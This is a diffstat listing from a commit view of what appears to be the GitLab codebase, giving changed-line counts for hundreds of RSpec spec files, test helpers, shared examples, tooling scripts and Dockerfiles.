-rw-r--r--spec/requests/api/graphql/project/alert_management/alert/notes_spec.rb2
-rw-r--r--spec/requests/api/graphql/project/alert_management/alert/todos_spec.rb2
-rw-r--r--spec/requests/api/graphql/project/alert_management/integrations_spec.rb98
-rw-r--r--spec/requests/api/graphql/project/container_repositories_spec.rb2
-rw-r--r--spec/requests/api/graphql/project/issues_spec.rb84
-rw-r--r--spec/requests/api/graphql/project/merge_request_spec.rb288
-rw-r--r--spec/requests/api/graphql/project/merge_requests_spec.rb13
-rw-r--r--spec/requests/api/graphql/project/pipeline_spec.rb240
-rw-r--r--spec/requests/api/graphql/project/repository/blobs_spec.rb36
-rw-r--r--spec/requests/api/graphql/user_spec.rb8
-rw-r--r--spec/requests/api/graphql_spec.rb95
-rw-r--r--spec/requests/api/group_import_spec.rb2
-rw-r--r--spec/requests/api/group_milestones_spec.rb24
-rw-r--r--spec/requests/api/group_variables_spec.rb3
-rw-r--r--spec/requests/api/internal/base_spec.rb37
-rw-r--r--spec/requests/api/internal/kubernetes_spec.rb18
-rw-r--r--spec/requests/api/invitations_spec.rb9
-rw-r--r--spec/requests/api/issue_links_spec.rb28
-rw-r--r--spec/requests/api/issues/get_group_issues_spec.rb2
-rw-r--r--spec/requests/api/issues/post_projects_issues_spec.rb2
-rw-r--r--spec/requests/api/jobs_spec.rb24
-rw-r--r--spec/requests/api/labels_spec.rb6
-rw-r--r--spec/requests/api/lint_spec.rb12
-rw-r--r--spec/requests/api/maven_packages_spec.rb724
-rw-r--r--spec/requests/api/members_spec.rb30
-rw-r--r--spec/requests/api/merge_request_diffs_spec.rb8
-rw-r--r--spec/requests/api/merge_requests_spec.rb19
-rw-r--r--spec/requests/api/namespaces_spec.rb73
-rw-r--r--spec/requests/api/notes_spec.rb2
-rw-r--r--spec/requests/api/npm_project_packages_spec.rb38
-rw-r--r--spec/requests/api/nuget_group_packages_spec.rb41
-rw-r--r--spec/requests/api/nuget_project_packages_spec.rb8
-rw-r--r--spec/requests/api/project_attributes.yml1
-rw-r--r--spec/requests/api/project_import_spec.rb4
-rw-r--r--spec/requests/api/projects_spec.rb172
-rw-r--r--spec/requests/api/pypi_packages_spec.rb2
-rw-r--r--spec/requests/api/repositories_spec.rb23
-rw-r--r--spec/requests/api/resource_access_tokens_spec.rb17
-rw-r--r--spec/requests/api/settings_spec.rb7
-rw-r--r--spec/requests/api/tags_spec.rb230
-rw-r--r--spec/requests/api/triggers_spec.rb35
-rw-r--r--spec/requests/api/usage_data_non_sql_metrics_spec.rb67
-rw-r--r--spec/requests/api/usage_data_queries_spec.rb67
-rw-r--r--spec/requests/api/usage_data_spec.rb19
-rw-r--r--spec/requests/api/users_preferences_spec.rb65
-rw-r--r--spec/requests/api/users_spec.rb12
-rw-r--r--spec/requests/api/v3/github_spec.rb53
-rw-r--r--spec/requests/customers_dot/proxy_controller_spec.rb37
-rw-r--r--spec/requests/groups/clusters/integrations_controller_spec.rb40
-rw-r--r--spec/requests/groups/email_campaigns_controller_spec.rb59
-rw-r--r--spec/requests/groups/milestones_controller_spec.rb24
-rw-r--r--spec/requests/ide_controller_spec.rb53
-rw-r--r--spec/requests/jwt_controller_spec.rb7
-rw-r--r--spec/requests/projects/clusters/integrations_controller_spec.rb38
-rw-r--r--spec/requests/projects/cycle_analytics_events_spec.rb4
-rw-r--r--spec/requests/projects/issue_links_controller_spec.rb2
-rw-r--r--spec/requests/projects/merge_requests_discussions_spec.rb4
-rw-r--r--spec/requests/rack_attack_global_spec.rb25
-rw-r--r--spec/requests/users_controller_spec.rb16
-rw-r--r--spec/requests/whats_new_controller_spec.rb11
-rw-r--r--spec/routing/project_routing_spec.rb68
-rw-r--r--spec/rubocop/cop/gitlab/delegate_predicate_methods_spec.rb40
-rw-r--r--spec/rubocop/cop/gitlab/feature_available_usage_spec.rb96
-rw-r--r--spec/rubocop/cop/graphql/descriptions_spec.rb16
-rw-r--r--spec/rubocop/cop/migration/add_limit_to_text_columns_spec.rb9
-rw-r--r--spec/rubocop/cop/migration/add_timestamps_spec.rb8
-rw-r--r--spec/rubocop/cop/migration/complex_indexes_require_name_spec.rb10
-rw-r--r--spec/rubocop/cop/migration/datetime_spec.rb20
-rw-r--r--spec/rubocop/cop/migration/prevent_strings_spec.rb12
-rw-r--r--spec/rubocop/cop/migration/refer_to_index_by_name_spec.rb4
-rw-r--r--spec/rubocop/cop/migration/timestamps_spec.rb8
-rw-r--r--spec/rubocop/cop/rspec/env_assignment_spec.rb4
-rw-r--r--spec/rubocop/cop/style/regexp_literal_mixed_preserve_spec.rb131
-rw-r--r--spec/rubocop/cop/user_admin_spec.rb24
-rw-r--r--spec/serializers/admin/user_entity_spec.rb3
-rw-r--r--spec/serializers/admin/user_serializer_spec.rb2
-rw-r--r--spec/serializers/build_artifact_entity_spec.rb25
-rw-r--r--spec/serializers/ci/dag_pipeline_entity_spec.rb4
-rw-r--r--spec/serializers/ci/group_variable_entity_spec.rb2
-rw-r--r--spec/serializers/ci/lint/result_serializer_spec.rb1
-rw-r--r--spec/serializers/ci/pipeline_entity_spec.rb3
-rw-r--r--spec/serializers/container_repository_entity_spec.rb1
-rw-r--r--spec/serializers/container_tag_entity_spec.rb1
-rw-r--r--spec/serializers/deployment_serializer_spec.rb1
-rw-r--r--spec/serializers/diff_file_entity_spec.rb10
-rw-r--r--spec/serializers/environment_serializer_spec.rb50
-rw-r--r--spec/serializers/evidences/evidence_entity_spec.rb1
-rw-r--r--spec/serializers/fork_namespace_entity_spec.rb1
-rw-r--r--spec/serializers/group_link/group_group_link_entity_spec.rb1
-rw-r--r--spec/serializers/group_link/project_group_link_entity_spec.rb1
-rw-r--r--spec/serializers/issue_board_entity_spec.rb1
-rw-r--r--spec/serializers/member_entity_spec.rb1
-rw-r--r--spec/serializers/member_serializer_spec.rb65
-rw-r--r--spec/serializers/member_user_entity_spec.rb1
-rw-r--r--spec/serializers/merge_request_diff_entity_spec.rb1
-rw-r--r--spec/serializers/merge_request_poll_cached_widget_entity_spec.rb88
-rw-r--r--spec/serializers/merge_request_poll_widget_entity_spec.rb146
-rw-r--r--spec/serializers/merge_request_user_entity_spec.rb1
-rw-r--r--spec/serializers/merge_requests/pipeline_entity_spec.rb2
-rw-r--r--spec/serializers/namespace_basic_entity_spec.rb1
-rw-r--r--spec/serializers/pipeline_details_entity_spec.rb1
-rw-r--r--spec/serializers/pipeline_serializer_spec.rb21
-rw-r--r--spec/serializers/project_import_entity_spec.rb1
-rw-r--r--spec/serializers/project_serializer_spec.rb1
-rw-r--r--spec/serializers/review_app_setup_entity_spec.rb1
-rw-r--r--spec/serializers/runner_entity_spec.rb1
-rw-r--r--spec/serializers/service_event_entity_spec.rb4
-rw-r--r--spec/serializers/service_field_entity_spec.rb12
-rw-r--r--spec/services/authorized_project_update/find_records_due_for_refresh_service_spec.rb295
-rw-r--r--spec/services/authorized_project_update/recalculate_for_user_range_service_spec.rb6
-rw-r--r--spec/services/award_emojis/add_service_spec.rb1
-rw-r--r--spec/services/award_emojis/destroy_service_spec.rb1
-rw-r--r--spec/services/award_emojis/toggle_service_spec.rb1
-rw-r--r--spec/services/boards/destroy_service_spec.rb23
-rw-r--r--spec/services/boards/issues/move_service_spec.rb1
-rw-r--r--spec/services/boards/lists/list_service_spec.rb46
-rw-r--r--spec/services/boards/lists/update_service_spec.rb41
-rw-r--r--spec/services/bulk_create_integration_service_spec.rb2
-rw-r--r--spec/services/bulk_update_integration_service_spec.rb4
-rw-r--r--spec/services/ci/abort_pipelines_service_spec.rb94
-rw-r--r--spec/services/ci/abort_project_pipelines_service_spec.rb42
-rw-r--r--spec/services/ci/after_requeue_job_service_spec.rb38
-rw-r--r--spec/services/ci/archive_trace_service_spec.rb46
-rw-r--r--spec/services/ci/cancel_user_pipelines_service_spec.rb35
-rw-r--r--spec/services/ci/create_downstream_pipeline_service_spec.rb4
-rw-r--r--spec/services/ci/create_job_artifacts_service_spec.rb279
-rw-r--r--spec/services/ci/create_pipeline_service/cross_project_pipeline_spec.rb1
-rw-r--r--spec/services/ci/create_pipeline_service/needs_spec.rb2
-rw-r--r--spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb1
-rw-r--r--spec/services/ci/create_pipeline_service/rules_spec.rb152
-rw-r--r--spec/services/ci/create_pipeline_service_spec.rb37
-rw-r--r--spec/services/ci/create_web_ide_terminal_service_spec.rb19
-rw-r--r--spec/services/ci/destroy_expired_job_artifacts_service_spec.rb252
-rw-r--r--spec/services/ci/disable_user_pipeline_schedules_service_spec.rb19
-rw-r--r--spec/services/ci/drop_pipeline_service_spec.rb60
-rw-r--r--spec/services/ci/external_pull_requests/create_pipeline_service_spec.rb2
-rw-r--r--spec/services/ci/job_artifacts/create_service_spec.rb279
-rw-r--r--spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb252
-rw-r--r--spec/services/ci/job_artifacts/destroy_batch_service_spec.rb81
-rw-r--r--spec/services/ci/job_artifacts_destroy_batch_service_spec.rb81
-rw-r--r--spec/services/ci/pipeline_artifacts/destroy_all_expired_service_spec.rb81
-rw-r--r--spec/services/ci/pipeline_artifacts/destroy_expired_artifacts_service_spec.rb81
-rw-r--r--spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb8
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/dag_build_test_two_manual_review_test_staging_production.yml171
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false.yml2
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false_deploy_always.yml2
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false_deploy_on_failure.yml2
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true.yml55
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_deploy_on_failure.yml4
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_fails.yml66
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_succeeds.yml66
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_false.yml2
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_true.yml2
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_true_deploy_on_failure.yml4
-rw-r--r--spec/services/ci/pipeline_trigger_service_spec.rb11
-rw-r--r--spec/services/ci/play_bridge_service_spec.rb22
-rw-r--r--spec/services/ci/play_build_service_spec.rb22
-rw-r--r--spec/services/ci/process_build_service_spec.rb23
-rw-r--r--spec/services/ci/process_pipeline_service_spec.rb52
-rw-r--r--spec/services/ci/register_job_service_spec.rb39
-rw-r--r--spec/services/ci/retry_build_service_spec.rb2
-rw-r--r--spec/services/ci/retry_pipeline_service_spec.rb2
-rw-r--r--spec/services/ci/test_failure_history_service_spec.rb42
-rw-r--r--spec/services/clusters/integrations/create_service_spec.rb90
-rw-r--r--spec/services/deployments/link_merge_requests_service_spec.rb11
-rw-r--r--spec/services/design_management/copy_design_collection/copy_service_spec.rb1
-rw-r--r--spec/services/design_management/delete_designs_service_spec.rb1
-rw-r--r--spec/services/design_management/save_designs_service_spec.rb3
-rw-r--r--spec/services/draft_notes/publish_service_spec.rb2
-rw-r--r--spec/services/environments/auto_stop_service_spec.rb2
-rw-r--r--spec/services/environments/canary_ingress/update_service_spec.rb1
-rw-r--r--spec/services/environments/reset_auto_stop_service_spec.rb1
-rw-r--r--spec/services/groups/auto_devops_service_spec.rb1
-rw-r--r--spec/services/groups/group_links/update_service_spec.rb1
-rw-r--r--spec/services/groups/merge_requests_count_service_spec.rb29
-rw-r--r--spec/services/groups/open_issues_count_service_spec.rb48
-rw-r--r--spec/services/groups/transfer_service_spec.rb3
-rw-r--r--spec/services/groups/update_shared_runners_service_spec.rb1
-rw-r--r--spec/services/ide/base_config_service_spec.rb1
-rw-r--r--spec/services/ide/schemas_config_service_spec.rb1
-rw-r--r--spec/services/ide/terminal_config_service_spec.rb3
-rw-r--r--spec/services/issuable/destroy_service_spec.rb44
-rw-r--r--spec/services/issuable/process_assignees_spec.rb32
-rw-r--r--spec/services/issue_links/create_service_spec.rb6
-rw-r--r--spec/services/issues/after_create_service_spec.rb52
-rw-r--r--spec/services/issues/build_service_spec.rb1
-rw-r--r--spec/services/issues/clone_service_spec.rb1
-rw-r--r--spec/services/issues/create_service_spec.rb28
-rw-r--r--spec/services/issues/export_csv_service_spec.rb1
-rw-r--r--spec/services/issues/move_service_spec.rb1
-rw-r--r--spec/services/issues/related_branches_service_spec.rb1
-rw-r--r--spec/services/keys/expiry_notification_service_spec.rb97
-rw-r--r--spec/services/members/create_service_spec.rb4
-rw-r--r--spec/services/members/destroy_service_spec.rb157
-rw-r--r--spec/services/members/invite_service_spec.rb79
-rw-r--r--spec/services/merge_requests/add_todo_when_build_fails_service_spec.rb6
-rw-r--r--spec/services/merge_requests/after_create_service_spec.rb104
-rw-r--r--spec/services/merge_requests/base_service_spec.rb1
-rw-r--r--spec/services/merge_requests/create_pipeline_service_spec.rb2
-rw-r--r--spec/services/merge_requests/create_service_spec.rb85
-rw-r--r--spec/services/merge_requests/export_csv_service_spec.rb2
-rw-r--r--spec/services/merge_requests/handle_assignees_change_service_spec.rb114
-rw-r--r--spec/services/merge_requests/merge_orchestration_service_spec.rb1
-rw-r--r--spec/services/merge_requests/merge_service_spec.rb15
-rw-r--r--spec/services/merge_requests/merge_to_ref_service_spec.rb7
-rw-r--r--spec/services/merge_requests/push_options_handler_service_spec.rb208
-rw-r--r--spec/services/merge_requests/refresh_service_spec.rb16
-rw-r--r--spec/services/merge_requests/resolve_todos_service_spec.rb49
-rw-r--r--spec/services/merge_requests/update_assignees_service_spec.rb79
-rw-r--r--spec/services/merge_requests/update_service_spec.rb244
-rw-r--r--spec/services/milestones/destroy_service_spec.rb14
-rw-r--r--spec/services/milestones/merge_requests_count_service_spec.rb21
-rw-r--r--spec/services/milestones/transfer_service_spec.rb8
-rw-r--r--spec/services/namespace_settings/update_service_spec.rb31
-rw-r--r--spec/services/namespaces/in_product_marketing_emails_service_spec.rb133
-rw-r--r--spec/services/notes/create_service_spec.rb18
-rw-r--r--spec/services/notification_recipients/builder/default_spec.rb146
-rw-r--r--spec/services/notification_service_spec.rb47
-rw-r--r--spec/services/packages/create_dependency_service_spec.rb2
-rw-r--r--spec/services/packages/debian/extract_changes_metadata_service_spec.rb160
-rw-r--r--spec/services/packages/debian/extract_deb_metadata_service_spec.rb22
-rw-r--r--spec/services/packages/debian/extract_metadata_service_spec.rb10
-rw-r--r--spec/services/packages/debian/parse_debian822_service_spec.rb74
-rw-r--r--spec/services/packages/debian/process_changes_service_spec.rb58
-rw-r--r--spec/services/packages/go/create_package_service_spec.rb73
-rw-r--r--spec/services/packages/go/sync_packages_service_spec.rb40
-rw-r--r--spec/services/packages/maven/metadata/sync_service_spec.rb15
-rw-r--r--spec/services/packages/rubygems/create_dependencies_service_spec.rb33
-rw-r--r--spec/services/packages/rubygems/create_gemspec_service_spec.rb28
-rw-r--r--spec/services/packages/rubygems/metadata_extraction_service_spec.rb50
-rw-r--r--spec/services/packages/rubygems/process_gem_service_spec.rb134
-rw-r--r--spec/services/pages/delete_service_spec.rb80
-rw-r--r--spec/services/pages/delete_services_spec.rb76
-rw-r--r--spec/services/pages/migrate_from_legacy_storage_service_spec.rb157
-rw-r--r--spec/services/pages/migrate_legacy_storage_to_deployment_service_spec.rb48
-rw-r--r--spec/services/pages/zip_directory_service_spec.rb44
-rw-r--r--spec/services/projects/create_service_spec.rb14
-rw-r--r--spec/services/projects/destroy_service_spec.rb22
-rw-r--r--spec/services/projects/update_pages_configuration_service_spec.rb2
-rw-r--r--spec/services/projects/update_pages_service_spec.rb19
-rw-r--r--spec/services/projects/update_remote_mirror_service_spec.rb16
-rw-r--r--spec/services/quick_actions/interpret_service_spec.rb200
-rw-r--r--spec/services/repositories/changelog_service_spec.rb19
-rw-r--r--spec/services/security/ci_configuration/sast_parser_service_spec.rb4
-rw-r--r--spec/services/spam/spam_action_service_spec.rb57
-rw-r--r--spec/services/submit_usage_ping_service_spec.rb35
-rw-r--r--spec/services/submodules/update_service_spec.rb2
-rw-r--r--spec/services/system_hooks_service_spec.rb28
-rw-r--r--spec/services/system_notes/alert_management_service_spec.rb2
-rw-r--r--spec/services/todo_service_spec.rb51
-rw-r--r--spec/services/todos/destroy/destroyed_issuable_service_spec.rb34
-rw-r--r--spec/services/todos/destroy/entity_leave_service_spec.rb27
-rw-r--r--spec/services/upload_service_spec.rb23
-rw-r--r--spec/services/user_preferences/update_service_spec.rb33
-rw-r--r--spec/services/users/refresh_authorized_projects_service_spec.rb164
-rw-r--r--spec/services/users/update_todo_count_cache_service_spec.rb61
-rw-r--r--spec/spam/concerns/has_spam_action_response_fields_spec.rb8
-rw-r--r--spec/spec_helper.rb55
-rw-r--r--spec/support/helpers/board_helpers.rb9
-rw-r--r--spec/support/helpers/ci_artifact_metadata_generator.rb2
-rw-r--r--spec/support/helpers/cycle_analytics_helpers.rb8
-rw-r--r--spec/support/helpers/graphql_helpers.rb16
-rw-r--r--spec/support/helpers/javascript_fixtures_helpers.rb2
-rw-r--r--spec/support/helpers/jira_service_helper.rb2
-rw-r--r--spec/support/helpers/key_generator_helper.rb3
-rw-r--r--spec/support/helpers/navbar_structure_helper.rb12
-rw-r--r--spec/support/helpers/next_instance_of.rb15
-rw-r--r--spec/support/helpers/query_recorder.rb40
-rw-r--r--spec/support/helpers/reload_helpers.rb12
-rw-r--r--spec/support/helpers/rubygems_helpers.rb11
-rw-r--r--spec/support/helpers/seed_repo.rb60
-rw-r--r--spec/support/helpers/stub_env.rb2
-rw-r--r--spec/support/helpers/stub_requests.rb2
-rw-r--r--spec/support/helpers/test_env.rb11
-rw-r--r--spec/support/helpers/usage_data_helpers.rb24
-rw-r--r--spec/support/import_export/project_tree_expectations.rb4
-rw-r--r--spec/support/matchers/exceed_query_limit.rb5
-rw-r--r--spec/support/matchers/graphql_matchers.rb14
-rw-r--r--spec/support/matchers/track_self_describing_event_matcher.rb12
-rw-r--r--spec/support/shared_contexts/email_shared_context.rb11
-rw-r--r--spec/support/shared_contexts/lib/gitlab/sidekiq_logging/structured_logger_shared_context.rb87
-rw-r--r--spec/support/shared_contexts/lib/gitlab/sidekiq_middleware/server_metrics_shared_context.rb92
-rw-r--r--spec/support/shared_contexts/navbar_structure_context.rb5
-rw-r--r--spec/support/shared_contexts/project_service_jira_context.rb5
-rw-r--r--spec/support/shared_contexts/project_service_shared_context.rb5
-rw-r--r--spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb7
-rw-r--r--spec/support/shared_contexts/requests/api/go_modules_shared_context.rb14
-rw-r--r--spec/support/shared_contexts/services/projects/container_repository/delete_tags_service_shared_context.rb2
-rw-r--r--spec/support/shared_contexts/services_shared_context.rb2
-rw-r--r--spec/support/shared_examples/boards/destroy_service_shared_examples.rb30
-rw-r--r--spec/support/shared_examples/boards/lists/update_service_shared_examples.rb43
-rw-r--r--spec/support/shared_examples/controllers/snippet_blob_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/controllers/snippet_shared_examples.rb28
-rw-r--r--spec/support/shared_examples/controllers/trackable_shared_examples.rb39
-rw-r--r--spec/support/shared_examples/controllers/unique_visits_shared_examples.rb11
-rw-r--r--spec/support/shared_examples/features/cascading_settings_shared_examples.rb41
-rw-r--r--spec/support/shared_examples/features/creatable_merge_request_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/features/discussion_comments_shared_example.rb4
-rw-r--r--spec/support/shared_examples/features/error_tracking_shared_example.rb2
-rw-r--r--spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/features/project_upload_files_shared_examples.rb73
-rw-r--r--spec/support/shared_examples/features/resolving_discussions_in_issues_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/features/search_settings_shared_examples.rb27
-rw-r--r--spec/support/shared_examples/features/sidebar_shared_examples.rb165
-rw-r--r--spec/support/shared_examples/features/wiki/user_creates_wiki_page_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/features/wiki/user_git_access_wiki_page_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/features/wiki/user_previews_wiki_changes_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/features/wiki/user_views_wiki_empty_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb6
-rw-r--r--spec/support/shared_examples/graphql/mutations/set_assignees_shared_examples.rb28
-rw-r--r--spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb12
-rw-r--r--spec/support/shared_examples/graphql/spam_protection_shared_examples.rb85
-rw-r--r--spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb24
-rw-r--r--spec/support/shared_examples/helpers/groups_shared_examples.rb53
-rw-r--r--spec/support/shared_examples/lib/api/ci/runner_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/lib/api/internal_base_shared_examples.rb11
-rw-r--r--spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb11
-rw-r--r--spec/support/shared_examples/lib/gitlab/database/cte_materialized_shared_examples.rb44
-rw-r--r--spec/support/shared_examples/lib/gitlab/sidekiq_middleware/metrics_middleware_with_worker_attribution_shared_examples.rb132
-rw-r--r--spec/support/shared_examples/lib/gitlab/sql/set_operator_shared_examples.rb29
-rw-r--r--spec/support/shared_examples/lib/gitlab/usage_data_counters/issuable_activity_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/mailers/notify_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb14
-rw-r--r--spec/support/shared_examples/models/boards/listable_shared_examples.rb25
-rw-r--r--spec/support/shared_examples/models/cluster_application_status_shared_examples.rb7
-rw-r--r--spec/support/shared_examples/models/cluster_application_version_shared_examples.rb11
-rw-r--r--spec/support/shared_examples/models/clusters/prometheus_client_shared.rb86
-rw-r--r--spec/support/shared_examples/models/packages/debian/distribution_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/models/wiki_shared_examples.rb95
-rw-r--r--spec/support/shared_examples/namespaces/namespace_traversal_examples.rb124
-rw-r--r--spec/support/shared_examples/namespaces/recursive_traversal_examples.rb78
-rw-r--r--spec/support/shared_examples/nav_sidebar_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/policies/resource_access_token_shared_examples.rb76
-rw-r--r--spec/support/shared_examples/querying_shared_examples.rb23
-rw-r--r--spec/support/shared_examples/quick_actions/issuable/close_quick_action_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb29
-rw-r--r--spec/support/shared_examples/requests/api/graphql/projects/alert_management/integrations_shared_examples.rb49
-rw-r--r--spec/support/shared_examples/requests/api/logging_application_context_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/requests/api/packages_shared_examples.rb13
-rw-r--r--spec/support/shared_examples/requests/api/rubygems_packages_shared_examples.rb13
-rw-r--r--spec/support/shared_examples/requests/clusters/integrations_controller_shared_examples.rb46
-rw-r--r--spec/support/shared_examples/serializers/environment_serializer_shared_examples.rb29
-rw-r--r--spec/support/shared_examples/services/boards/lists_destroy_service_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/services/boards/lists_list_service_shared_examples.rb38
-rw-r--r--spec/support/shared_examples/services/clusters/parse_cluster_applications_artifact_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/services/groups_count_service_shared_examples.rb55
-rw-r--r--spec/support/shared_examples/services/merge_request_shared_examples.rb90
-rw-r--r--spec/support/shared_examples/services/notification_service_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/services/snippets_shared_examples.rb41
-rw-r--r--spec/support/shared_examples/workers/in_product_marketing_email_shared_example.rb15
-rw-r--r--spec/support/shared_examples/workers/worker_with_data_consistency_shared_example.rb27
-rw-r--r--spec/support/sidekiq_middleware.rb18
-rw-r--r--spec/support_specs/helpers/active_record/query_recorder_spec.rb70
-rw-r--r--spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb10
-rw-r--r--spec/tasks/gitlab/gitaly_rake_spec.rb11
-rw-r--r--spec/tasks/gitlab/pages_rake_spec.rb116
-rw-r--r--spec/tasks/gitlab/usage_data_rake_spec.rb16
-rw-r--r--spec/tooling/danger/changelog_spec.rb153
-rw-r--r--spec/tooling/danger/project_helper_spec.rb38
-rw-r--r--spec/tooling/lib/tooling/kubernetes_client_spec.rb10
-rw-r--r--spec/tooling/merge_request_spec.rb31
-rw-r--r--spec/tooling/quality/test_level_spec.rb225
-rw-r--r--spec/uploaders/object_storage_spec.rb19
-rw-r--r--spec/validators/json_schema_validator_spec.rb30
-rw-r--r--spec/validators/x509_certificate_credentials_validator_spec.rb4
-rw-r--r--spec/views/admin/dashboard/index.html.haml_spec.rb2
-rw-r--r--spec/views/admin/services/index.html.haml_spec.rb30
-rw-r--r--spec/views/dashboard/projects/index.html.haml_spec.rb28
-rw-r--r--spec/views/groups/settings/_remove.html.haml_spec.rb17
-rw-r--r--spec/views/layouts/_search.html.haml_spec.rb68
-rw-r--r--spec/views/layouts/header/_new_dropdown.haml_spec.rb1
-rw-r--r--spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb1
-rw-r--r--spec/views/layouts/nav/sidebar/_profile.html.haml_spec.rb1
-rw-r--r--spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb65
-rw-r--r--spec/views/layouts/profile.html.haml_spec.rb19
-rw-r--r--spec/views/profiles/keys/_form.html.haml_spec.rb50
-rw-r--r--spec/views/profiles/keys/_key.html.haml_spec.rb123
-rw-r--r--spec/views/projects/commit/_commit_box.html.haml_spec.rb34
-rw-r--r--spec/views/projects/empty.html.haml_spec.rb10
-rw-r--r--spec/views/projects/pipelines/_stage.html.haml_spec.rb73
-rw-r--r--spec/views/projects/settings/operations/show.html.haml_spec.rb4
-rw-r--r--spec/views/projects/tags/index.html.haml_spec.rb1
-rw-r--r--spec/views/registrations/welcome/show.html.haml_spec.rb26
-rw-r--r--spec/views/search/_results.html.haml_spec.rb15
-rw-r--r--spec/views/shared/nav/_sidebar.html.haml_spec.rb44
-rw-r--r--spec/views/shared/runners/show.html.haml_spec.rb6
-rw-r--r--spec/workers/authorized_project_update/user_refresh_over_user_range_worker_spec.rb63
-rw-r--r--spec/workers/background_migration_worker_spec.rb2
-rw-r--r--spec/workers/build_finished_worker_spec.rb38
-rw-r--r--spec/workers/build_hooks_worker_spec.rb5
-rw-r--r--spec/workers/bulk_import_worker_spec.rb22
-rw-r--r--spec/workers/bulk_imports/entity_worker_spec.rb124
-rw-r--r--spec/workers/bulk_imports/pipeline_worker_spec.rb125
-rw-r--r--spec/workers/ci/drop_pipeline_worker_spec.rb36
-rw-r--r--spec/workers/ci/initial_pipeline_process_worker_spec.rb21
-rw-r--r--spec/workers/ci/merge_requests/add_todo_when_build_fails_worker_spec.rb53
-rw-r--r--spec/workers/ci/pipeline_artifacts/expire_artifacts_worker_spec.rb2
-rw-r--r--spec/workers/ci/test_failure_history_worker_spec.rb4
-rw-r--r--spec/workers/concerns/worker_attributes_spec.rb74
-rw-r--r--spec/workers/concerns/worker_context_spec.rb2
-rw-r--r--spec/workers/container_expiration_policy_worker_spec.rb123
-rw-r--r--spec/workers/database/batched_background_migration_worker_spec.rb121
-rw-r--r--spec/workers/every_sidekiq_worker_spec.rb2
-rw-r--r--spec/workers/expire_build_artifacts_worker_spec.rb2
-rw-r--r--spec/workers/expire_job_cache_worker_spec.rb21
-rw-r--r--spec/workers/expire_pipeline_cache_worker_spec.rb17
-rw-r--r--spec/workers/merge_requests/assignees_change_worker_spec.rb59
-rw-r--r--spec/workers/merge_requests/create_pipeline_worker_spec.rb61
-rw-r--r--spec/workers/merge_requests/handle_assignees_change_worker_spec.rb62
-rw-r--r--spec/workers/merge_requests/resolve_todos_worker_spec.rb41
-rw-r--r--spec/workers/namespaces/in_product_marketing_emails_worker_spec.rb56
-rw-r--r--spec/workers/new_issue_worker_spec.rb11
-rw-r--r--spec/workers/new_merge_request_worker_spec.rb2
-rw-r--r--spec/workers/packages/go/sync_packages_worker_spec.rb101
-rw-r--r--spec/workers/packages/maven/metadata/sync_worker_spec.rb6
-rw-r--r--spec/workers/packages/rubygems/extraction_worker_spec.rb54
-rw-r--r--spec/workers/pages_update_configuration_worker_spec.rb2
-rw-r--r--spec/workers/post_receive_spec.rb5
-rw-r--r--spec/workers/projects/post_creation_worker_spec.rb86
-rw-r--r--spec/workers/remove_expired_members_worker_spec.rb18
-rw-r--r--spec/workers/repository_check/dispatch_worker_spec.rb7
-rw-r--r--spec/workers/ssh_keys/expired_notification_worker_spec.rb58
-rw-r--r--spec/workers/ssh_keys/expiring_soon_notification_worker_spec.rb66
-rw-r--r--spec/workers/todos_destroyer/destroyed_issuable_worker_spec.rb15
-rw-r--r--tooling/danger/changelog.rb36
-rw-r--r--tooling/danger/project_helper.rb26
-rw-r--r--tooling/lib/tooling/kubernetes_client.rb2
-rw-r--r--tooling/lib/tooling/test_map_packer.rb2
-rw-r--r--tooling/merge_request.rb38
-rw-r--r--tooling/merge_request_rspec_failure_rake_task.rb37
-rw-r--r--tooling/quality/test_level.rb (renamed from lib/quality/test_level.rb)0
-rw-r--r--vendor/Dockerfile/Ruby-alpine.Dockerfile6
-rw-r--r--vendor/Dockerfile/Ruby.Dockerfile2
